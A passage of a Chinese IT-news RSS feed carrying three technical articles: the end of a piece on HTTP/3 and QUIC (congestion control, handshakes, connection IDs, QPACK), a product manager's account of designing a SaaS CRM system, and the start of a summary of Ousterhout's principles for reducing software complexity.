  &lt;li&gt;TCP是一个无私的协议，也就是说，如果网络上出现拥塞，大家都会丢包，于是大家都会进入拥塞控制的算法中，这个算法会让所有人都“冷静”下来，然后进入一个“慢启动”的过程，包括在TCP连接建立时，这个慢启动也在，所以导致TCP有一些时候性能也不行。QUIC才不管这个，是个相对比较激进的协议。QUIC有一套自己的丢包重传和拥塞控制的协，一开始QUIC是重新实现一TCP 的 CUBIC算法，但是随着BBR算法的成熟（BBR也在借鉴CUBIC算法的数学模型），QUIC也可以使用BBR算法。这里，多扯几名，   &lt;strong&gt;从模型来说，以前的TCP的拥塞控制算法玩的是数学模型，而新型的TCP拥塞控制算法是以BBR为代表的测量模型&lt;/strong&gt;，理论上来说，后者会更好，但QUIC的团队在一开始觉得BBR不如CUBIC的算法好，所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“   &lt;a href="https://medium.com/google-cloud/tcp-bbr-magic-dust-for-network-performance-57a5f1ccf437" rel="noopener noreferrer" target="_blank"&gt;TCP BBR : Magic dust for network performance.&lt;/a&gt;”&lt;/li&gt;
  &lt;li&gt;接下来，现在要建立一个HTTP的连接，先是TCP的三次握手，然后是TLS的三次握手，要整出六次网络交互，一个链接才建好，虽说HTTP/1.1和HTTP/2的连接复用解决这个问题，但是基于UDP后，UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手。&lt;/li&gt;
&lt;/ul&gt;
 &lt;table&gt;

  &lt;tr&gt;
   &lt;td&gt;    &lt;img alt="" height="300" src="https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-tcp-tls@2x-292x300.png" width="292"&gt;&lt;/img&gt;&lt;/td&gt;
   &lt;td&gt;    &lt;img alt="" height="227" src="https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-quic@2x-300x215.png" width="312"&gt;&lt;/img&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;所以，QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。&lt;/p&gt;
 &lt;p&gt;但是对于UDP还是有一些挑战的，这个挑战主要来自互联网上的各种网络设备，这些设备根本不知道是什么QUIC，他们看QUIC就只能看到的就是UDP，所以，在一些情况下，UDP就是有问题的，&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;比如在NAT的环境下，如果是TCP的话，NAT路由或是代理服务器，可以通过记录TCP的四元组（源地址、源端口，目标地址，目标端口）来做连接映射的，然而，在UDP的情况下不行了。于是，QUIC引入了个叫connection id的不透明的ID来标识一个链接，用这种业务ID很爽的一个事是，如果你从你的3G/4G的网络切到WiFi网络（或是反过来），你的链接不会断，因为我们用的是connection id，而不是四元组。&lt;/li&gt;
&lt;/ul&gt;
 &lt;ul&gt;
  &lt;li&gt;然而就算引用了connection id，也还是会有问题 ，比如一些不够“聪明”的等价路由交换机，这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上，然而，他们不懂connection id，只懂四元组，这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上，这就是导致数据不能传到同一台服务器上，数据不完整，链接只能断了。所以，你需要更聪明的算法（可以参看 Facebook 的    &lt;a href="https://github.com/facebookincubator/katran" rel="noopener noreferrer" target="_blank"&gt;Katran&lt;/a&gt; 开源项目 ）&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;好了，就算搞定上面的东西，还有一些业务层的事没解，这个事就是 HTTP/2的头压缩算法 HPACK，HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的，HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上，这种同步是透明的，然而在UDP上这个事不好干了。所以，这个事也必需要重新设计了，基于QUIC的QPACK就出来了，利用两个附加的QUIC steam，一个用来发送这个字典表的更新给对方，另一个用来ack对方发过来的update。&lt;/p&gt;
 &lt;p&gt;目前看下来，HTTP/3目前看上去没有太多的协议业务逻辑上的东西，更多是HTTP/2 + QUIC协议。但，HTTP/3 因为动到了底层协议，所以，在普及方面上可能会比 HTTP/2要慢的多的多。但是，可以看到QUIC协议的强大，细思及恐，QUIC这个协议真对TCP是个威胁，如果QUIC成熟了，TCP是不是会有可能成为历史呢？&lt;/p&gt;
 &lt;p&gt;未来十年，让我们看看UDP是否能够逆袭TCP……&lt;/p&gt;
 &lt;p&gt;(全文完)&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p align="center"&gt;  &lt;img src="https://coolshell.cn//wp-content/uploads/2009/04/qrcode_for_gh_dd9d8c843f20_860-300x300.jpg"&gt;&lt;/img&gt;   &lt;img height="300" src="https://coolshell.cn/wp-content/uploads/2019/04/coolshell.microapp.jpg" width="300"&gt;&lt;/img&gt;  &lt;br /&gt;关注CoolShell微信公众账号和微信小程序&lt;/p&gt;
 &lt;div&gt;
  &lt;p align="center"&gt;   &lt;strong&gt;（转载本站文章请注明作者和出处     &lt;a href="https://coolshell.cn/"&gt;酷 壳 – CoolShell&lt;/a&gt; ，请勿用于任何商业用途）&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;
 &lt;div&gt;——===   &lt;strong&gt;访问    &lt;a href="http://coolshell.cn/404/" target="_blank"&gt;酷壳404页面&lt;/a&gt; 寻找遗失儿童。&lt;/strong&gt; ===——&lt;/div&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;h3&gt;相关文章&lt;/h3&gt;   &lt;ul&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/11609.html"&gt;      &lt;img alt="TCP &amp;#30340;&amp;#37027;&amp;#20123;&amp;#20107;&amp;#20799;&amp;#65288;&amp;#19979;&amp;#65289;" height="150" src="https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/11609.html"&gt;TCP 的那些事儿（下）&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/11564.html"&gt;      &lt;img alt="TCP &amp;#30340;&amp;#37027;&amp;#20123;&amp;#20107;&amp;#20799;&amp;#65288;&amp;#19978;&amp;#65289;" height="150" src="https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/11564.html"&gt;TCP 的那些事儿（上）&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/7490.html"&gt;      &lt;img alt="&amp;#24615;&amp;#33021;&amp;#35843;&amp;#20248;&amp;#25915;&amp;#30053;" height="150" src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/7490.html"&gt;性能调优攻略&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/17459.html"&gt;      &lt;img alt="&amp;#20851;&amp;#20110;&amp;#39640;&amp;#21487;&amp;#29992;&amp;#30340;&amp;#31995;&amp;#32479;" height="150" src="https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/17459.html"&gt;关于高可用的系统&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/17680.html"&gt;      &lt;img alt="&amp;#20174;Gitlab&amp;#35823;&amp;#21024;&amp;#38500;&amp;#25968;&amp;#25454;&amp;#24211;&amp;#24819;&amp;#21040;&amp;#30340;" height="150" src="https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/17680.html"&gt;从Gitlab误删除数据库想到的&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/18094.html"&gt;      &lt;img alt="&amp;#22914;&amp;#20309;&amp;#20813;&amp;#36153;&amp;#30340;&amp;#35753;&amp;#32593;&amp;#31449;&amp;#21551;&amp;#29992;HTTPS" height="150" src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/18094.html"&gt;如何免费的让网站启用HTTPS&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>技术读物 程序设计 系统架构 网络安全 HTTP</category>
      <guid isPermaLink="true">https://itindex.net/detail/60066-http-%E5%89%8D%E4%B8%96%E4%BB%8A%E7%94%9F</guid>
      <pubDate>Tue, 01 Oct 2019 19:21:10 CST</pubDate>
    </item>
    <item>
      <title>复盘：如何从0-1设计SaaS行业CRM系统</title>
      <link>https://itindex.net/detail/60065-%E5%A4%8D%E7%9B%98-%E8%AE%BE%E8%AE%A1-saas</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;笔者复盘了做一个SaaS行业CRM系统的关键节点以及重要事项。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt;  &lt;img alt="" height="450" src="http://image.woshipm.com/wp-files/2019/10/9o9hYenr3n9kA3npRequ.jpg!v.jpg" width="800"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;从项目启动到现在差不多大半年的时间，这半年中我经历了CRM系统从0-1的搭建过程。不过与以往接触的CRM系统不同，这次我主要负责的系统是面向SaaS行业。从产品形态上看，SaaS行业属于B2B行业大类，但也有着其独有的特征。&lt;/p&gt;
 &lt;p&gt;这篇文章我希望通过讲故事的方式分享我在V1.0版本时遇到的业务问题以及解决方案，大家如果有不一样的见解，也欢迎大家在评论区进行问题探讨。&lt;/p&gt;
 &lt;h2&gt;一、产品V0.1版本的建立&lt;/h2&gt;
 &lt;p&gt;在刚到公司之前，公司主要以某细分领域的定制化项目作为主要的盈利方式。在这之后公司希望结合自身领域上的优势将自己的产品SaaS化，这其中一方面是出于对产品通用性角度考虑：在这个细分领域中各企业的业务流程有着较多的相似之处，实现产品通用化是可行的；当然更重要的是从商业角度考虑，这样能够降低产品的开发与维护成本；同时通过按需订阅的方式能够争取更多中小“长尾组织”的有限预算。&lt;/p&gt;
 &lt;p&gt;我在来到公司负责的第一个项目就是将系统架构进行SaaS化改造：首先按照战略思路将产品功能划分为基础服务级、应用模块级，同时支持高可配置化的菜单及功能来满足多租户不同的业务需求，之后将系统权限改造为多租户权限模式，将应用模块与租户ID做灵活关联从而实现按需购买服务。&lt;/p&gt;
 &lt;p&gt;有关SaaS产品化改造的话题我先大概说到这，更具体的改造细节我会在后面的文章中为大家介绍。&lt;/p&gt;
 &lt;p&gt;而在改造的过程中，就逐渐有了CRM系统雏形：系统权限在划分为多租户后，需要企业后台系统需要有设置多租户入驻信息及租户开通功能，这也就完成了客户信息的采集与创建，因此我也称之为CRM产品的V0.1版本。&lt;/p&gt;
 &lt;h2&gt;二、SaaS业务的快速扩张促进项目启动&lt;/h2&gt;
 &lt;p&gt;由于是SaaS产品的初步尝试，公司在商业模式上并没有在初期就选择付费，而是希望通过免费的形式获得更高的市场占有率，树立品牌认同；同时持续打磨产品，而后再逐步将产品模块升级，并在原有的基础上做增值服务。&lt;/p&gt;
 &lt;p&gt;这一打法在市场上确实获得了预期成效：我们在短短一年多的时间内从40w用户量暴涨至240w，租户数也达到将近1w，用户量远远超过入驻即付费的其他平台。&lt;/p&gt;
 &lt;p&gt;却也随之带来更多业务问题：由于大部分客户是免费入驻与使用产品，产品的运营成本不降反升。因为一方面客户的免费入驻并不能为公司带来收入；与此同时，在售后服务上又需要投入更多的时间和人力成本来培训客户，并要及时解答客户提出的问题。&lt;/p&gt;
 &lt;p&gt;这时有的同学会问：为什么不通过植入广告的方式来缓解资金压力呢？&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;我们的是to B的商业软件产品，主要以提升工作与管理效率为目的；&lt;/li&gt;
  &lt;li&gt;我们所处的行业十分敏感，不宜通过商业广告的形式进行变现。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;由于收益增长的压力与成本的提升，导致市场与客户运营部门没有足够的弹药扩充人手，总共不超过12个人的团队在产品上线初期，每天需要应对客户不断打来的电话，同时需要参与开拓市场与售前咨询任务，可谓是身兼多职。&lt;/p&gt;
 &lt;p&gt;后来，在线上产品慢慢打磨与过渡接近完整后，公司希望能够通过对部分应用采用增值服务的形式实现SaaS产品的业务增长。而争取的客户对象则主要是来自平台在搭建初期积累的这些线索客户，使之成为高意向潜在付费客户并完成付费转化。&lt;/p&gt;
 &lt;p&gt;这是面临的问题是：如何通过现有的团队来管理与维护如此大体量的客户？这需要引入客户管理系统来解决此问题。&lt;/p&gt;
 &lt;h2&gt;三、项目启动前的研讨：自主研发还是外部采购？&lt;/h2&gt;
 &lt;p&gt;关于系统是通过自研还是外采的问题，我们团队之间讨论过多次。相信很多公司也会有此困惑，如果选择外采，其优势是团队将节省大量的研发及时间成本，但是需要找到与产品业务契合的系统才能有效实施。&lt;/p&gt;
 &lt;p&gt;最终我们选择了自研系统，原因有以下几点：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;产品运营初期，产品战略及商业模式还有待市场考证，需要快速的响应市场快速迭代&lt;/li&gt;
  &lt;li&gt;市面上的通用CRM系统不能满足当前的业务需求&lt;/li&gt;
  &lt;li&gt;系统与自身产品的连接较为紧密，需要提供丰富的接口来支持，同时也要相应接口的不断变化&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;四、明确项目核心问题&lt;/h2&gt;
 &lt;p&gt;在项目启动后，系统待解决的核心问题是：在销售人员较少的情况下，通过系统提升客户营销与管理效率，并最终并实现业务增长。&lt;/p&gt;
 &lt;p&gt;基于这个核心问题拆解成两个部分，如下图所示：  &lt;br /&gt;
  &lt;img alt="" height="302" src="http://image.woshipm.com/wp-files/2019/10/Du0I363sMc8VYnfA4aDc.png!v.jpg" width="675"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;4.1 业务流程再造&lt;/h3&gt;
 &lt;p&gt;由于是从0到1运营一条新的SaaS产品线，我们需要基于全新的产品形态设计与以往项目型销售不同的业务流程。为此我也做了很多产品调研，从商业模式上分析SaaS产品与原先销售模式的不同。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;首先相比于项目型销售，SaaS产品的客单价较低，更多的收入将来自于客户的续费与增购。&lt;/strong&gt;这就意味着以客户为中心的销售模式将确立主导地位。所谓“以客户为中心的销售模式”的核心就是要参与客户的全生命周期，了解客户在使用过程中产生的各种需求，并及时快速的响应需求。通过这样的销售模式才能真正服务好客户，只有通过这样的方式，才能获得更多的二次收益。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;SaaS产品与项目型销售的第二点不同，是更为注重数据驱动而非营销驱动。&lt;/strong&gt;用户在使用SaaS产品的替换成本会更低，即便客户在销售人员的说服下完成了首单消费，如果产品并不是他们真正需要的，也会直接流失掉。因此SaaS产品需要借助更多的数据挖掘潜在客户而非完全通过线下完成。&lt;/p&gt;
 &lt;p&gt;基于主流SaaS销售模式调研，并结合公司在组织人员架构与现有业务现状，我对业务流程进行了重新梳理，流程大致如下图所示：  &lt;br /&gt;
  &lt;img alt="" height="620" src="http://image.woshipm.com/wp-files/2019/10/rP1ZjJvKXWBTNJdmW1gF.png!v.jpg" width="1133"&gt;&lt;/img&gt;  &lt;br /&gt;
在图中我列出了几个重要的流程节点：&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;4.1.1 线索获取&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;考虑前期有限的推广资源以及较低的投资回报率，公司并没有使用付费的市场推广形式。好在产品较好的口碑与高日活量使得在百度搜索的权重较高，加上产品是免费使用，每日的入驻用户仍保有稳定增长。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;4.1.2 线索认证&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;对于线索认证这一阶段的考虑是通过系统目标账户营销（ABM）+人工的方式筛选合格线索（MQL）：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;其中系统目标账户营销（ABM）是指通过系统获取用户在浏览付费增值应用时的浏览记录与习惯，通过系统规则标记为潜在客户；&lt;/li&gt;
  &lt;li&gt;合格线索（MQL）则是根据销售人员以往的经验，手动录入潜在客户信息。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;两种潜在客户获取方式分别存成独立的数据表单放入数据库中。&lt;/p&gt;
 &lt;p&gt;这样做的好处是能够最大程度上起到辅助销售的作用，减少销售人员在客户跟踪与识别上的工作量；在此同时，通过数据还可以挖掘出销售人员在客户识别时的视线盲区，不放过任意一个线索机会。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;4.1.3 商机客户转化&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;严格意义上，线索质量验证与培育应由市场部SDR来完成，而后将合格线索转到销售人员手中做商机客户的转化。但由于产品初期并未配备相关人员，这两个步骤都由同一个销售人员共同完成。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;4.1.4 成交客户的续费与增购&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;前面说到，SaaS产品的大部分收入来自于此步骤，因此在客户完成首单交易后需要做更多的工作，以便实现客户留存并尽可能使之成为高净值推荐客户（NPS）。&lt;/p&gt;
 &lt;p&gt;在业务实施的开始阶段，我与客户运营部的负责共同制定了详细的相关工作内容及流程：包括客户的回访与跟进频次，产品bug与需求的反馈，客户培训与二次销售流程等等。结合用户需求及业务场景设计产品解决方案，具体解决方案我也会在后面的内容中提到。&lt;/p&gt;
 &lt;h3&gt;4.2 组织架构的优化&lt;/h3&gt;
 &lt;p&gt;在制定了新的业务流程之后，在组织架构层面也会随之调整。客户运营部门明确了岗位角色与分工，一部分人员被拆分到专门负责客户拓展与售前咨询的销售团队；另一部分进入负责售后咨询而增购的客户成功团队。&lt;/p&gt;
 &lt;h2&gt;五、产品路线图规划&lt;/h2&gt;
 &lt;p&gt;在明确了待解决的业务问题后，我们将产品明确定位在“以客户为中心”的核心思路。也就意味着产品功能会在紧张的开发排期中作出取舍。保留现阶段最需要解决的业务问题，同时砍掉与之无关的功能，将视角聚焦在“客户”上。如下图所示：  &lt;br /&gt;
  &lt;img alt="" height="382" src="http://image.woshipm.com/wp-files/2019/10/8qsq5S1uONg1ROgN7y9H.png!v.jpg" width="897"&gt;&lt;/img&gt;  &lt;br /&gt;
图中简要列出了一个产品结构示意图，从中可以大致了解产品的全貌。从整体架构上看，我将线索管理与客户成功管理拆分为两个模块，并按照各业务部门职能将权限按照整体模块分配给销售部与客户成功部。当客户处于未达成交易状态时，该条客户会存入线索管理中由销售部跟进，而当客户完成首单后，客户数据将流转至客户成功管理中挖掘二次销售商机。&lt;/p&gt;
 &lt;p&gt;此外，灰色部分代表暂时舍弃掉的功能，至于舍弃的原因在于客户营销与拓展部门的人数远没有达到通过系统管理的程度，因此暂时不需要开发相应功能。&lt;/p&gt;
 &lt;h3&gt;5.1 线索管理与权限管理&lt;/h3&gt;
 &lt;p&gt;线索管理是销售过程管理中最传统，同时也是最经典的部分；而权限管理是所有后台管理系统的必备工具，基于RBAC的权限设计方法也比较固定和基础，这两部分内容在很多CRM产品相关文章中都有涉及，我就在此不做过多描述。&lt;/p&gt;
 &lt;h3&gt;5.2 客户成功管理&lt;/h3&gt;
 &lt;p&gt;客户成功管理是SaaS领域最重要的部分，一个好的CSM业务体系需要介入客户的完整生命周期中，包括客户的初期促活、中期的客户意见反馈与使用指导。只有服务好客户的每一步，才能最终达成续费或增购的最终业务目的，实现企业收入增长。&lt;/p&gt;
 &lt;p&gt;在客户流转至客户成功模块后，平台会对客户的使用情况进行数据监控，让客户成功经理实时了解用户的使用情况；并通过系统规则提示哪些客户疑有流失征兆，并设置流失预警，提醒他们及时跟进。&lt;/p&gt;
 &lt;p&gt;此外，根据特定的业务场景我将商机管理模块放入客户成功模块，使得正式客户表与商机形成1对n的关系，并间接与订单关联；而处于未达成交易状态的潜在客户则直接与订单1对1关联，用户可直接由线上创建订单。这样做的考虑是既能够简化首单流程，又能在客户成功阶段增加对商机过程的管理。为项目后期的客户终身价值（CLV）建模提供较为准确的数据依据。&lt;/p&gt;
 &lt;p&gt;智能分析模块是CRM产品中非常重要的一部分，但由于初版上线时间紧任务重，以及数据的不完整，因此将放入二期需求；并在一期做好客户信息及销售过程数据的整合与沉淀，搭建数据仓库。&lt;/p&gt;
 &lt;p&gt;以上是我对V1.0版本CRM产品的设计过程介绍，由于篇幅原因就不再展开对每个功能细节的具体讨论。&lt;/p&gt;
 &lt;h2&gt;六、总结与复盘&lt;/h2&gt;
 &lt;p&gt;回顾整个项目，我认为收获到最多的是对产品全局把控的策略与思路。在产品规划初期，要对现在以及未来的业务发展趋势作出前瞻性预估，从而让系统架构更具扩展性；同时要学会平衡成本与产出，用最小的开发与人力成本完成当前最紧迫的业务问题，在不断地抉择与取舍中验证正确的方向前进。&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;本文由 @阿猫阿狗 原创发布于人人都是产品经理，未经许可，禁止转载&lt;/p&gt;
 &lt;p&gt;题图来自 Unsplash，基于 CC0 协议&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>产品设计 2年 CRM系统 初级</category>
      <guid isPermaLink="true">https://itindex.net/detail/60065-%E5%A4%8D%E7%9B%98-%E8%AE%BE%E8%AE%A1-saas</guid>
      <pubDate>Wed, 02 Oct 2019 11:07:28 CST</pubDate>
    </item>
    <item>
      <title>降低软件复杂性的一般原则和方法</title>
      <link>https://itindex.net/detail/60048-%E8%BD%AF%E4%BB%B6-%E5%A4%8D%E6%9D%82%E6%80%A7-%E5%8E%9F%E5%88%99</link>
      <description>&lt;h1&gt;一、前言&lt;/h1&gt;
 &lt;p&gt;斯坦福教授、Tcl语言发明者John Ousterhout 的著作《A Philosophy of Software Design》[1]，自出版以来，好评如潮。按照IT图书出版的惯例，如果冠名为“实践”，书中内容关注的是某项技术的细节和技巧；冠名为“艺术”，内容可能是记录一件优秀作品的设计过程和经验；而冠名为“哲学&amp;quot;，则是一些通用的原则和方法论，这些原则方法论串起来，能够形成一个体系。正如”知行合一”、“世界是由原子构成的”、“我思故我在”，这些耳熟能详的句子能够一定程度上代表背后的人物和思想。用一句话概括《A Philosophy of Software Design》，软件设计的核心在于降低复杂性。&lt;/p&gt;
 &lt;p&gt;本篇文章是围绕着“降低复杂性”这个主题展开的，很多重要的结论来源于John Ousterhout，笔者觉得很有共鸣，就做了一些相关话题的延伸、补充了一些实例。虽说是&amp;quot;一般原则“，也不意味着是绝对的真理，整理出来，只是为了引发大家对软件设计的思考。&lt;/p&gt;
 &lt;h1&gt;二、如何定义复杂性&lt;/h1&gt;
 &lt;p&gt;关于复杂性，尚无统一的定义，从不同的角度可以给出不同的答案。可以用数量来度量，比如芯片集成的电子器件越多越复杂(不一定对)；按层次性[2]度量，复杂度在于层次的递归性和不可分解性。在信息论中，使用熵来度量信息的不确定性。&lt;/p&gt;
 &lt;p&gt;John Ousterhout选择从认知的负担和开发工作量的角度来定义软件的复杂性，并且给出了一个复杂度量公式：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000020476519" title=""&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;子模块的复杂度cp乘以该模块对应的开发时间权重值tp，累加后得到系统的整体复杂度C。系统整体的复杂度并不简单等于所有子模块复杂度的累加，还要考虑该模块的开发维护所花费的时间在整体中的占比(对应权重值tp）。也就是说，即使某个模块非常复杂，如果很少使用或修改，也不会对系统的整体复杂度造成大的影响。&lt;/p&gt;
 &lt;p&gt;子模块的复杂度cp是一个经验值，它关注几个现象：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;修改扩散，修改时有连锁反应。&lt;/li&gt;
  &lt;li&gt;认知负担，开发人员需要多长时间来理解功能模块。&lt;/li&gt;
  &lt;li&gt;不可知（Unknown Unknowns），开发人员在接到任务时，不知道从哪里入手。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;造成复杂的原因一般是代码依赖和晦涩(Obscurity)。其中，依赖是指某部分代码不能被独立地修改和理解，必定会牵涉到其他代码。代码晦涩，是指从代码中难以找到重要信息。&lt;/p&gt;
 &lt;h1&gt;三、解决复杂性的一般原则&lt;/h1&gt;
 &lt;p&gt;首先，互联网行业的软件系统，很难一开始就做出完美的设计，通过一个个功能模块衍生迭代，系统才会逐步成型；对于现存的系统，也很难通过一个大动作，一劳永逸地解决所有问题。系统设计是需要持续投入的工作，通过细节的积累，最终得到一个完善的系统。因此，好的设计是日拱一卒的结果，在日常工作中要重视设计和细节的改进。&lt;/p&gt;
 &lt;p&gt;其次，专业化分工和代码复用促成了软件生产率的提升。比如硬件工程师、软件工程师（底层、应用、不同编程语言）可以在无需了解对方技术背景的情况下进行合作开发；同一领域服务可以支撑不同的上层应用逻辑等等。其背后的思想，无非是通过将系统分成若干个水平层、明确每一层的角色和分工，来降低单个层次的复杂性。同时，每个层次只要给相邻层提供一致的接口，可以用不同的方法实现，这就为软件重用提供了支持。分层是解决复杂性问题的重要原则。&lt;/p&gt;
 &lt;p&gt;第三，与分层类似，分模块是从垂直方向来分解系统。分模块最常见的应用场景，是如今广泛流行的微服务。分模块降低了单模块的复杂性，但是也会引入新的复杂性，例如模块与模块的交互，后面的章节会讨论这个问题。这里，我们将第三个原则确定为分模块。&lt;/p&gt;
 &lt;p&gt;最后，代码能够描述程序的工作流程和结果，却很难描述开发人员的思路，而注释和文档可以。此外，通过注释和文档，开发人员在不阅读实现代码的情况下，就可以理解程序的功能，注释间接促成了代码抽象。好的注释能够帮助解决软件复杂性问题，尤其是认知负担和不可知问题（Unknown Unknowns）。&lt;/p&gt;
 &lt;h1&gt;四、解决复杂性之日拱一卒&lt;/h1&gt;
 &lt;h2&gt;4.1 拒绝战术编程&lt;/h2&gt;
 &lt;p&gt;战术编程致力于完成任务，新增加特性或者修改Bug时，能解决问题就好。这种工作方式，会逐渐增加系统的复杂性。如果系统复杂到难以维护时，再去重构会花费大量的时间，很可能会影响新功能的迭代。&lt;/p&gt;
 &lt;p&gt;战略编程，是指重视设计并愿意投入时间，短时间内可能会降低工作效率，但是长期看，会增加系统的可维护性和迭代效率。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000020476520" title=""&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;设计系统时，很难在开始阶段就面面俱到。好的设计应该体现在一个个小的模块上，修改bug时，也应该抱着设计新系统的心态，完工后让人感觉不到“修补”的痕迹。经过累积，最终形成一个完善的系统。从长期看，对于中大型的系统，将日常开发时间的10-15%用于设计是值得的。有一种观点认为，创业公司需要追求业务迭代速度和节省成本，可以容忍糟糕的设计，这是用错误的方法去追求正确的目标。降低开发成本最有效的方式是雇佣优秀的工程师，而不是在设计上做妥协。&lt;/p&gt;
 &lt;h2&gt;4.2 设计两次&lt;/h2&gt;
 &lt;p&gt;为一个类、模块或者系统的设计提供两套或更多方案，有利于我们找到最佳设计。以我们日常的技术方案设计为例，技术方案本质上需要回答两个问题，其一，为什么该方案可行？ 其二，在已有资源限制下，为什么该方案是最优的？为了回答第一个问题，我们需要在技术方案里补充架构图、接口设计和时间人力估算。而要回答第二个问题，需要我们在关键点或争议处提供二到三种方案，并给出建议方案，这样才有说服力。通常情况下，我们会花费很多的时间准备第一个问题，而忽略第二个问题。其实，回答好第二个问题很重要，大型软件的设计已经复杂到没人能够一次就想到最佳方案，一个仅仅“可行”的方案，可能会给系统增加额外的复杂性。对聪明人来说，接受这点更困难，因为他们习惯于“一次搞定问题”。但是聪明人迟早也会碰到自己的瓶颈，在低水平问题上徘徊，不如花费更多时间思考，去解决真正有挑战性的问题。&lt;/p&gt;
 &lt;h1&gt;五、解决复杂性之分层&lt;/h1&gt;
 &lt;h2&gt;5.1 层次和抽象&lt;/h2&gt;
 &lt;p&gt;软件系统由不同的层次组成，层次之间通过接口来交互。在严格分层的系统里，内部的层只对相邻的层次可见，这样就可以将一个复杂问题分解成增量步骤序列。由于每一层最多影响两层，也给维护带来了很大的便利。分层系统最有名的实例是TCP/IP网络模型。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000020476521" title=""&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在分层系统里，每一层应该具有不同的抽象。TCP/IP模型中，应用层的抽象是用户接口和交互；传输层的抽象是端口和应用之间的数据传输；网络层的抽象是基于IP的寻址和数据传输；链路层的抽象是适配和虚拟硬件设备。如果不同的层具有相同的抽象，可能存在层次边界不清晰的问题。&lt;/p&gt;
 &lt;h2&gt;5.2 复杂性下沉&lt;/h2&gt;
